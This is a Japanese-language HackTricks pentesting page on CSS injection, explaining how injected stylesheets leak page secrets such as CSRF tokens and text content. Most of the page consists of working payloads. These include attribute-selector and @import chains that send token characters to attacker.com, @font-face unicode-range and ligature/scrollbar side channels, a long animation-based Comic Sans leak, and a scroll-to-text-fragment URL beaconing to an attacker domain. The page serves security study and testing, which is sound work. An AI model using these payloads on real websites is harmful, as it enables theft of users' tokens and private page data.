hacktricks/pentesting-web/xs-search/css-injection
2024-02-06 03:40:01 +00:00
..
css-injection-code.md Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente 2024-01-10 17:17:21 +00:00
README.md Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 03:40:01 +00:00

CSSインジェクション

htARTEHackTricks AWS Red Team Expert でゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法

CSSインジェクション

属性セレクタ

CSSセレクタは、input要素のnameおよびvalue属性の値に一致するように作成されます。入力要素の値属性が特定の文字で始まる場合、事前定義された外部リソースが読み込まれます。

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

隠し要素のバイパス

この制限を回避するために、~一般兄弟結合子を使用して後続の兄弟要素をターゲットにすることができます。その後、CSSルールは隠し入力要素に続くすべての兄弟要素に適用され、背景画像が読み込まれます。

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

このテクニックを悪用する実践的な例については、提供されたコードスニペットで詳細に説明されています。こちらで確認できます。

CSSインジェクションの前提条件

CSSインジェクションテクニックを効果的に利用するためには、特定の条件を満たす必要があります

  1. ペイロードの長さCSSインジェクションベクトルは、作成されたセレクタを収容するために十分に長いペイロードをサポートする必要があります。
  2. CSSの再評価新しく生成されたペイロードでCSSの再評価をトリガーするためにページをフレーム化する能力が必要です。
  3. 外部リソースこのテクニックは、外部ホストされた画像を使用する能力を前提としています。これはサイトのコンテンツセキュリティポリシーCSPによって制限される可能性があります。

Blind Attribute Selector

この投稿で説明されているように、セレクタ :has:not を組み合わせて、盲目的な要素からコンテンツを識別することが可能です。これは、CSSインジェクションをロードしているWebページ内に何が含まれているか全くわからない場合に非常に役立ちます。
また、これらのセレクタを使用して、同じタイプの複数のブロックから情報を抽出することも可能です。

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

以下は、@import 技術を使用して、blind-css-exfiltrationからブラインドページからのCSSインジェクションを使用して多くの情報を外部に送信することが可能です。

@import

前述の技術にはいくつかの欠点があります。前提条件を確認してください。被害者に複数のリンクを送信できる必要があるか、CSSインジェクション脆弱なページにiframeを挿入できる必要があります

ただし、CSS @import を使用して技術の品質を向上させる別の巧妙な技術があります。

これは最初にPepe Vilaによって示され、次のように機能します。

前の技術とは異なり、何度も同じページを異なるペイロードでロードするのではなく、ページを1回だけ読み込み、攻撃者のサーバーへのインポートだけで読み込みます(これが被害者に送信するペイロードです):

@import url('//attacker.com:5001/start?');
  1. 攻撃者からいくつかのCSSスクリプトを受け取り、ブラウザがそれを読み込むことになります。
  2. 攻撃者が送信するCSSスクリプトの最初の部分は、**攻撃者のサーバーに再度@import**を行います。
  3. 攻撃者のサーバーはこのリクエストにまだ応答しません。一部の文字を漏洩させ、次のリクエストを漏洩させるためにこのインポートに応答します。
  4. ペイロードの2番目で、属性セレクタ漏洩ペイロードが送信されます。
  5. これにより、攻撃者のサーバーには秘密の最初の文字と最後の文字が送信されます。
  6. 攻撃者のサーバーが秘密の最初と最後の文字を受け取ると、ステップ2で要求されたインポートに応答します。
  7. 応答はステップ2、3、4とまったく同じになりますが、今回は秘密の2番目の文字を見つけ、その前の文字を試みます。

攻撃者は秘密を完全に漏洩するまで、このループを続けます

元のPepe Vilaのこのコードを悪用するためのコードはこちらで見つけることができます。または、ほぼ同じコードをこちらでコメント付きで見つけることができます

{% hint style="info" %} スクリプトは、属性セレクタを使用して次のような操作が可能であるため、毎回2文字を発見しようとします先頭からおよび末尾から

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

これにより、スクリプトが秘密をより速く漏洩させることができます。

{% endhint %}

{% hint style="warning" %} 時々、スクリプトは発見された接頭辞+接尾辞が既に完全なフラグであることを正しく検出しないことがあり、それに続いて(接頭辞で)前方に進み、(接尾辞で)後方に進み、ある時点で停止します。
心配いりません、出力を確認するだけでそこにフラグが表示されるからです。 {% endhint %}

その他のセレクタ

CSSセレクタを使用してDOMの部分にアクセスする他の方法

  • .class-to-search:nth-child(2): これはDOM内のクラスが"class-to-search"である2番目のアイテムを検索します。
  • **:empty**セレクタ:例として、この解説に使用されます
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

参考: CSSベースの攻撃@font-faceのunicode-rangeを悪用, エラーベースのXS-Search PoC by @terjanq

全体的な意図は、制御されたエンドポイントからカスタムフォントを使用し、指定されたリソース(favicon.ico)が読み込まれない場合にのみ、テキスト(この場合は 'A')がこのフォントで表示されるようにすることです。

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. カスタムフォントの使用:
  • カスタムフォントは、<head>セクション内の<style>タグで@font-faceルールを使用して定義されます。
  • フォントの名前はpocで、外部エンドポイント(http://attacker.com/?leak)から取得されます。
  • unicode-rangeプロパティは、特定のUnicode文字「A」をターゲットにするためにU+0041に設定されています。
  1. フォールバックテキストを持つオブジェクト要素:
  • <body>セクションにid="poc0"を持つ<object>要素が作成されます。この要素はhttp://192.168.0.1/favicon.icoからリソースを読み込もうとします。
  • この要素のfont-familyは、<style>セクションで定義された'poc'に設定されています。
  • リソース(favicon.ico)の読み込みに失敗した場合、<object>タグ内のフォールバックコンテンツ文字「A」が表示されます。
  • 外部リソースが読み込めない場合、フォールバックコンテンツ「A」はカスタムフォントpocを使用してレンダリングされます。

スタイリングされたスクロールテキストフラグメント

**:target**疑似クラスは、CSSセレクタレベル4仕様で指定されているように、URLフラグメントによってターゲット化された要素を選択するために使用されます。::target-textは、テキストが明示的にフラグメントによってターゲット化されていない限り、どの要素にも一致しません。

攻撃者がスクロールテキストフラグメント機能を悪用すると、HTMLインジェクションを介して自身のサーバーからリソースを読み込むことで、特定のテキストの存在を確認できるセキュリティ上の懸念が生じます。この方法は、次のようなCSSルールをインジェクトすることを含みます:

:target::before { content : url(target.png) }

以下のようなシナリオでは、ページにテキスト「管理者」が存在する場合、サーバーからリソース target.png がリクエストされ、テキストの存在が示されます。この攻撃のインスタンスは、注入されたCSSと一緒にスクロールテキストフラグメントを埋め込んだ特別に作成されたURLを使用して実行できます:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

攻撃は、HTMLインジェクションを操作して、特定のテキスト「Administrator」をScroll-to-textフラグメント(#:~:text=Administrator)を介して狙い、CSSコードを送信します。テキストが見つかった場合、指定されたリソースが読み込まれ、攻撃者にその存在が誤って通知されます。

緩和策として、以下の点に注意する必要があります:

  1. 制約されたSTTFマッチング: Scroll-to-text Fragment (STTF)は、単語や文章のみに一致するよう設計されており、任意の秘密情報やトークンを漏洩させる能力が制限されています。
  2. トップレベルのブラウジングコンテキストへの制限: STTFはトップレベルのブラウジングコンテキストでのみ動作し、iframe内では機能しないため、攻撃の試みがユーザーにより目立つようになります。
  3. ユーザーアクティベーションの必要性: STTFはユーザーアクティベーションのジェスチャーを必要とし、そのため、攻撃はユーザーによるナビゲーションを通じてのみ実行可能です。この要件により、攻撃がユーザーの介入なしに自動化されるリスクがかなり軽減されます。ただし、ブログ投稿の著者は、攻撃の自動化を容易にする特定の条件やバイパス例: ソーシャルエンジニアリング、一般的なブラウザ拡張機能とのやり取り)を指摘しています。

これらのメカニズムと潜在的な脆弱性に対する認識は、Webセキュリティを維持し、このような悪用的な手法に対して保護するために重要です。

詳細については、元のレポートをご確認ください: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

このテクニックを使用したCTFの エクスプロイトはこちら をご確認いただけます。

@font-face / unicode-range

特定のUnicode値に対して外部フォントを指定することができ、そのUnicode値がページ内に存在する場合にのみ収集されるようになります。例:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

テキストードの情報漏洩Iリガチャ

参考: Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację

説明されている技術は、フォントリガチャを悪用してノードからテキストを抽出し、幅の変化を監視することに関わります。このプロセスにはいくつかのステップが含まれます:

  1. カスタムフォントの作成:
  • SVGフォントは、horiz-adv-x属性を持つグリフを持つように作成されます。これにより、2文字のシーケンスを表すグリフの幅が大きく設定されます。
  • 例:<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>というSVGグリフで、"XY"は2文字のシーケンスを示します。
  • これらのフォントは、fontforgeを使用してwoff形式に変換されます。
  1. 幅の変化の検出:
  • CSSを使用して、テキストが折り返されないようにするwhite-space: nowrap)と、スクロールバースタイルをカスタマイズします。
  • 水平スクロールバーが現れ、はっきりとスタイルが異なる場合、特定のリガチャ(したがって特定の文字シーケンス)がテキストに存在することを示すオラクルとして機能します。
  • 関連するCSS
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. 悪用プロセス:
  • ステップ1:幅の大きな文字のペア用のフォントが作成されます。
  • ステップ2:大きな幅のグリフ(文字ペアのリガチャ)がレンダリングされたときに検出するために、スクロールバーを使用したトリックが適用されます。これは、文字シーケンスが存在することを示します。
  • ステップ3リガチャを検出したら、検出されたペアを組み込み、前後の文字を追加した3文字のシーケンスを表す新しいグリフが生成されます。
  • ステップ43文字のリガチャの検出が行われます。
  • ステップ5:プロセスが繰り返され、徐々に全体のテキストが明らかになります。
  1. 最適化:
  • 現在の<meta refresh=...を使用した初期化方法は最適ではありません。
  • より効率的なアプローチは、CSSの@importトリックを使用して、悪用のパフォーマンスを向上させることができます。

テキストードの情報漏洩IIデフォルトフォントを使用して文字セットを漏洩する外部アセットを必要としない

参考: PoC using Comic Sans by @Cgvwzq & @Terjanq

このトリックは、このSlackersスレッドで公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされているデフォルトフォントを使用して漏洩できます:外部のカスタムフォントは必要ありません。

このコンセプトは、アニメーションを利用してdivの幅を段階的に拡大し、1文字ずつテキストの「接尾辞」部分から「接頭辞」部分に移行させることを可能にすることに関わります。このプロセスにより、テキストは次の2つのセクションに分割されます

  1. 接頭辞:初期の行。
  2. 接尾辞:後続の行。

文字の遷移段階は次のように表示されます:

C
ADB

CA
DB

CAD
B

CADB

この遷移中、unicode-rangeトリックが使用され、新しい文字が接頭辞に加わるたびに識別されます。これは、デフォルトフォントよりも明らかに高いComic Sansフォントにフォントを切り替えることによって達成され、結果として垂直スクロールバーがトリガーされます。このスクロールバーの表示により、接頭辞に新しい文字が存在することが間接的に明らかになります。

この方法は、新しい文字が現れるたびに一意の文字を検出することを可能にしますが、繰り返された文字がどれであるかを特定しません。

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

テキストードの情報漏洩IIIデフォルトフォントを使用して要素を非表示にすることで文字セットを漏洩する外部アセットは不要

参照: これはこの解説記事で不成功な解決策として言及されています

このケースは前のものと非常に似ていますが、この場合、特定の文字を他の文字より大きくする目的は、ボットに押されないようにするためのボタンを隠したり、読み込まれない画像を隠したりすることです。そのため、アクション(またはアクションの不在)を測定し、特定の文字がテキスト内に存在するかどうかを知ることができます。

テキストードの情報漏洩IIIキャッシュタイミングによる文字セットの漏洩外部アセットは不要

参照: これはこの解説記事で不成功な解決策として言及されています

この場合、同じオリジンから偽のフォントを読み込むことで、テキスト内に特定の文字が含まれているかどうかを漏洩しようとすることができます。

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

もし一致があれば、フォントは /static/bootstrap.min.css?q=1 から読み込まれます。読み込みは成功しませんが、ブラウザはそれをキャッシュし、キャッシュがなくても、304 Not Modified のメカニズムがあるため、他のものよりも応答が速くなるはずです。

ただし、キャッシュされた応答と非キャッシュされた応答の時間差が十分に大きくない場合、これは役に立ちません。たとえば、著者は次のように述べています: しかし、テストの結果、最初の問題は速度があまり変わらないことであり、2番目の問題はボットが disk-cache-size=1 フラグを使用していることですが、これは本当に考えられています。

テキストードの情報漏洩III: ローカルの「フォント」を数百個読み込むことで文字セットをタイミングで漏洩する(外部アセットは不要)

参照: これはこの解説記事で不成功な解決策として言及されています

この場合、一致が発生したときにCSSを使って同じオリジンから数百の偽のフォントを読み込むように指定できます。この方法でかかる時間を測定し、文字が表示されるかどうかを次のように調べることができます:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

そして、ボットのコードは以下のようになります:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法: